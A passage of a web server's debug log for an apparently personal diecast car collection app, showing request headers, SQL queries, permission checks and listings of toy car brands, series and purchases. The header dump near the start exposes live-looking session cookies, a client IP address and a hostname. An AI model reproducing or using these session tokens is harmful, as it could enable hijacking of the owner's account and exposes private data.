    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:21:29.352Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:21:29.355Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:21:29.356Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:21:29.356Z server-connect:app Executing action step identify
2026-02-04T11:21:29.356Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.356Z server-connect:output identity: 1
2026-02-04T11:21:29.356Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.356Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:21:29.357Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:21:29.357Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:21:29.357Z server-connect:app Executing action step identify
2026-02-04T11:21:29.357Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.357Z server-connect:output identity: 1
2026-02-04T11:21:29.357Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.357Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:21:29.357Z server-connect:output restrict: undefined
2026-02-04T11:21:29.358Z server-connect:app Executing action step select
2026-02-04T11:21:29.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:21:29.358Z server-connect:app Executing action step identify
2026-02-04T11:21:29.358Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.358Z server-connect:output identity: 1
2026-02-04T11:21:29.358Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.358Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:21:29.359Z server-connect:app Executing action step identify
2026-02-04T11:21:29.359Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.359Z server-connect:output identity: 1
2026-02-04T11:21:29.359Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.359Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:21:29.360Z server-connect:output restrict: undefined
2026-02-04T11:21:29.360Z server-connect:app Executing action step select
2026-02-04T11:21:29.360Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:21:29.360Z server-connect:app Executing action step identify
2026-02-04T11:21:29.360Z server-connect:app options: { provider: 'security' }
2026-02-04T11:21:29.360Z server-connect:output identity: 1
2026-02-04T11:21:29.360Z server-connect:app Executing action step restrict
2026-02-04T11:21:29.360Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:21:29.362Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:21:29.363Z server-connect:output restrict: undefined
2026-02-04T11:21:29.363Z server-connect:app Executing action step paged
2026-02-04T11:21:29.363Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:21:29.364Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:21:29.364Z server-connect:output restrict: undefined
2026-02-04T11:21:29.365Z server-connect:app Executing action step select
2026-02-04T11:21:29.365Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:21:29.366Z server-connect:output restrict: undefined
2026-02-04T11:21:29.366Z server-connect:app Executing action step select
2026-02-04T11:21:29.366Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:21:29.366Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T11:21:29.367Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:21:29.368Z server-connect:app Executing action step select
2026-02-04T11:21:29.368Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:21:29.369Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:21:29.369Z server-connect:app Executing action step select
2026-02-04T11:21:29.369Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:21:29.369Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:21:29.370Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:23:56.638Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:23:56.638Z server-connect:app Executing action step identify
2026-02-04T11:23:56.639Z server-connect:app options: { provider: 'security' }
2026-02-04T11:23:56.639Z server-connect:output identity: 1
